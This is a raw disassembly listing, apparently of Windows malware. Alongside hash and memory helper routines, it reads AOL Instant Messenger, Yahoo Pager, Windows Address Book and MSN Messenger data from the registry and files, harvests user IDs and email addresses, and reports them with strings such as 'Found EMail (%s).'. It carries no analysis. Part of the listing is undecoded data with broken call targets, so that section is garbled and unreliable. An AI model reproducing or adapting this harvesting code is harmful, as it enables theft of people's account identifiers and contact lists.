		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D116
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0D43D89C0h
		dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 1A59E890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 3D4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
		dd 4FA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 24AA25Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 4BA217E8h
		dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004446h, 20244489h, 1C18EAE8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
		dd 252A45Ah, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 91E85210h, 90024FA1h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 444D20h, 0E8694F8Dh,	0FFFCB62Dh, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
		dd 29E89052h, 8B024FA1h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
		dd 10C683FFh, 79D4FE81h, 8C0F0044h, 0FFFFFD2Ah,	17642D8Bh
		dd 448D0051h, 68501C24h, 20019h, 6068006Ah, 6800447Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B546800h
		dd 0F08B0044h, 8A0C6851h, 90560044h, 1C1772E8h,	4E5C6800h
		dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h
		dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
		dd 448D5374h, 0F4687C24h, 50004489h, 1C9EE890h,	0C4837781h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89D86851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0A6E85718h
		dd 907780AAh, 8504C483h, 560A74F6h, 7F6202E8h, 0C4839077h
		dd 24448B04h, 0E890501Ch, 24F9FD8h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h,	4489A8h
		dd 6852F08Bh, 448998h, 64E89056h, 68001C16h, 444E5Ch, 8F72E856h
		dd 8B907780h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44897C68h
		dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h,	16F4249Ch
		dd 548D0000h, 68527C24h, 448960h, 0E8694B8Dh, 0FFFCB3EDh
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h
		dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 90560A74h
		dd 7F60FAE8h, 4C48377h,	1C24548Bh, 0D1E89052h, 8D024F9Eh
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
		dd 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 296029Eh
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_4488F8
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2910000h
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2930000h
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488EC
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 296029Eh
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2910000h
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		call	near ptr 296029Eh
		nop
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F30
		push	eax
		nop
		call	near ptr 2910000h
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2930000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 2880000h
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2730000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		nop
		call	near ptr 2850BF4h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 2730720h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		nop
		call	near ptr 2730994h
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 296029Eh
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, off_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A38
		push	ecx
		call	ebx ; sub_5F76F7
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 2910000h
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A2C
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		push	64h
		nop
		call	near ptr 2850369h
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2930000h


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
